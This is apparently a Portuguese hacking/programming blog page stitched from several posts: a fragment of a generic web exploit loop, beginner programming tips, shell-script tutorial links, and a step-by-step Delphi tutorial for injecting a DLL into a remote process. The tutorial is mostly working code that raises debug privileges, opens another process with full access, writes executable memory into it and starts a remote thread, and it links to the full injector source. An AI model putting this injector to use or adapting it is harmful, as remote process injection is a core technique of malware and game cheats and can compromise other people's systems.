$resposta = get($pagina);
print $resposta;
goto comando;

Esse é um exploit genérico, que serve apenas para demonstrar como explorar a vulnerabilidade.Durante o desenvolvimento de um exploit para um software específico, é necessário o uso de expressões regulares e outros.

10 dicas para iniciantes em programação

– Todo programador tem que saber lógica de programação, não existe programador sem lógica.

– Ninguém quer te ajudar, a não ser que a pessoa que você pediu ajuda ganhe algo com isso. As pessoas já tem problemas demais para ficar resolvendo os seus.

– Você sempre será um estudante. Sempre tem algo à aprender.

– Você não é pior que ninguém, e ninguém é melhor que você. Todos nos somos inteligentes, ninguém é “burro”. Apenas algumas pessoas são mais estudadas que você.

– Você não tem que gostar de ler, mais também não pode odiar. Você pode não gostar de ler um livro com tema amoroso, ou dramático, mas um livro sobre programação ( Que é o que você estuda ) você tem que gostar. Se não gostar… porque está tentando aprender à programar?

– Qual é seu objetivo? Aprender à programar ou criar um keylogger? Ou um Trojan ? Ou um cheat para trapacear um jogo? Se quer mesmo aprender a programar dedique à aprender e não à seguir tutoriais com códigos prontos e copiar e colar sem saber o que faz.

– Se você acha que está muito difícil aprender a programar, calma, descanse depois volte aos estudos e leia novamente, tente entender. Se você acha que não consegue mesmo, tire isso da sua cabeça, em si já é uma barreira.

– Comece do começo, pra que vai tentar aprender uma coisa avançada se você não sabe nem o básico? Um bom exemplo para isso é a escola, pra que um professor vai ensinar figuras de linguagem aos alunos se eles não sabem nem ler? Tentar aprender pelo avançado de uma vez é perda de tempo.

– De início escolha uma linguagem mais simples. Antes de estudar linguagens de baixo e alto nível, eu recomendo você estudar HTML para você se familiarizar com códigos. Logo, recomendo Visual Basic, Pascal, Python, uma destas linguagens para início.

10º – Pesquise, Raciocine !! Use seu cérebro, não peça programas prontos onde você só se dá o trabalho de colocar seus créditos.

Iniciando Shell Script

Uma postagem especial para aqueles que querem começar a programar em Shell Script está ai.


Introdução ao Shell Script, por Aurélio Marinho Jargas

http://aurelio.net/shell/apostila-introducao-shell.pdf


Guia de programação Shell Script, por Alexandre Felipe Muller De Souza

http://www.inf.ufpr.br/afms03/shell.html

O que o #! realmente faz, por Mo Budlong

http://geocities.yahoo.com.br/cesarakg/tips-shell-programming.html


Programação em Bourne-Again Shell, por Meleu

http://www.meleuzord.hpg.ig.com.br/textos/bashscripting.txt

Programação Shell, por Guido Socher

http://linuxfocus.berlios.de/Portugues/September2001/article216.shtml


Programando em shell-script, por Hugo Cisneir

http://www.devin.com.br/eitch/shell_script/


Prompt-doc: “Tira Dúvidas” sobre Shell, por Aurélio Marinho Jargas

http://aurelio.net/curso/conectiva/conectiva-shell-prompt.html


Shell Script para Iniciantes, por Roberto Freires Batista (Piter Punk)

http://www.openslack.org/%7Epiterpk/artigos/aposhell.ps

Para quem quiser aprofundar-se mais, segue o link abaixo da fonte, muito interessante mesmo.

Fonte: http://aurelio.net/shell/

Fazendo o seu Code Injection

Visto que é algo muito útil e um pouco complicado estarei postando como fazer passo a passo.
Então vamos começar.

Dica:
Para quem não esta acostumado e sequer sabe sobre manipulação de memória recomendo que de uma boa lida em artigos sobre manipulação de memória para que haja uma facilidade de entendimento ao seguir a leitura do tutorial.

O que é Code Injection?
Code injection nada mais é do que injetar uma DLL e fazer com que o processo remoto execute a tal função.
Para fazer isso precisaremos de uma DLL que a função em seja exportada
Ex:no delphi o fim do código seria

exports
FazerExitProcess;

Outro detalhe importante é que precisaremos de privilégios necessários.Para evitar quaisquer eventuais problemas, definiremos o privilégio como o de debug e também depois de executada a rotina, não temos mais porque deixar os parâmetros utilizados na execução da mesma no target, isso só iria ocupar espaço, então nós liberaremos toda a memória escrita no processo remoto.

Preparando um Code Injection




Antes de mais nada precisaremos de uma estrutura para os parâmetros do nosso Code Injection então declare
a seguinte type no seu form.

type
TInjectParams = record
LoadLibrary: function (lpLibFileName: PAnsiChar): Cardinal; stdcall;
LibName: PAnsiChar;
GetProcAddress: function (hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall;
ProcName: PAnsiChar;
end;
PInjectParams = ^TInjectParams;

Com essa estrutura,o usuário no final do code injection só precisará de pegar o Process ID(PID) do processo,Portanto declare na uses da sua unit a biblioteca TlHelp32 e nas funções declare a seguinte função.

function GetProcess(proc: string): Cardinal;
var
Snap: THandle;
pe: TProcessEntry32;
begin
Snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if Snap = 0 then Exit;
if Process32First(Snap,pe) then
begin
repeat
if proc = pe.szExeFile then
begin
Result:=pe.th32ProcessID;
break;
end;
until not Process32Next(Snap,pe)
end
end;

Como foi dito,nos precisaremos de escrever na memória do processo remoto,portanto é necessário alocar a memória para a escrita,para facilitar vamos declarar as funções.

function WriteString(Process: Cardinal; s: string): Pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, length(s) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result , pchar(s), length(s) + 1, bytes);
end;
function WriteData(Process, dwSize: Cardinal; RemoteData: pointer): pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, RemoteData, dwSize, bytes);
end;


Com quase tudo pronto nós precisaremos de uma função para executar o código no processo remoto então declare mais essa função também.

procedure RemoteFunction(Parametros: PInjectParams); stdcall;
var
proc: procedure; stdcall;
begin
proc:=Parametros^.GetProcAddress(Parametros^.LoadLibrary(Parametros^.LibName),Parametros^.ProcName);
proc;
end;

Agora precisaremos de um método para saber o tamanho dessa rotina descrita acima, pois na hora de escrevê-la no target é necessário por o tamanho. Para isso faremos outro método logo abaixo desse, e depois é só pegar o endereço dele e subtrair do endereço da rotina “RemoteFunction”.
Então declare o procedimento :

procedure RemoteFunctionEnd; stdcall;
begin;
end;

E como ja foi dito nos preciaremos de privilégios de DEBUG então declare a função.

procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);
var
NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;
begin
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);
LookupPrivilegeValue(nil, szPrivilege, luid);


NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if (fEnable) then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;

AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, ReturnLength);
CloseHandle(hToken);
end;

Pronto, agora só falta montar a função final, mas depois de tudo isso, para quem realmente entendeu a lógica fica fácil.

pprocedure Inject(process, dll, code: string);
var
PID, hProcess, ThreadId, ThreadHandle: Cardinal;
RemoteData,RemoteFunc,LibFileName,ProcName: pointer;
Parametros: TInjectParams;
begin
//Pega o Handle do processo
PID:=GetProcess(Process);
//Seta o privilégio de debug
ChangePrivilege(‘SeDebugPrivilege’, True);

//Abre o processo
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, PID);

//Define os parâmetros que serão usados para executar a procedure
LibFileName:=WriteString(hProcess, dll);
ProcName:=WriteString(hProcess, code);
Parametros.LoadLibrary:=GetProcAddress(GetModuleHandle(‘kernel32′), ‘LoadLibraryA’);
Parametros.LibName:=LibFileName;
Parametros.GetProcAddress:=GetProcAddress(GetModuleHandle(‘kernel32′), ‘GetProcAddress’);
Parametros.ProcName:=ProcName;

//Abre um novo espaço de memória para guardar os parâmetros
RemoteData:=WriteData(hProcess, sizeof(Parametros), @Parametros);

//Abre um novo espaço de memória para guardar a procedure
RemoteFunc:=WriteData(hProcess, integer(@RemoteFunctionEnd) – integer(@RemoteFunction), @RemoteFunction);

//Cria a thread que executará a procedure
ThreadHandle:=CreateRemoteThread(hProcess, nil, 0, RemoteFunc, RemoteData, 0, ThreadId);
WaitForSingleObject(ThreadHandle, 3000);

//Libera as alocações de memórias criadas
VirtualFreeEx(hProcess,LibFileName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,ProcName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteFunc,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteData,0,MEM_RELEASE);
end;

Agora chegou a parte que você ira realizar o code injection.
Como ja foi dito precisaremos de uma DLL com uma função que seja exportada então salve todo o seu projeto e crie um novo projeto de DLL.vou mostrar como ficou a minha dll de testes

library testdll;

uses
Windows,
SysUtils,
Classes;

{$R *.res}

procedure MsgBox;
begin
MessageBox(0,’Funcionou’,'Code Injection bem sucedido’,MB_OK+MB_ICONINFORMATION);
end;
exports
MsgBox;
begin
end.

Então agora é só no seu projeto do Injector você usar a função.

Inject('notepad.exe','C:\Dev\CodeInjection\testdll\testdll.dll','MsgBox');
Agora pra quem não entendeu direito,ou não quer nem ler e quer tudo pronto eu coloquei um link com a source do injector e da testdll.

http://www.4shared.com/file/101714263/63913ea/CodeInjection.html

 
Design by Eddy Oliveira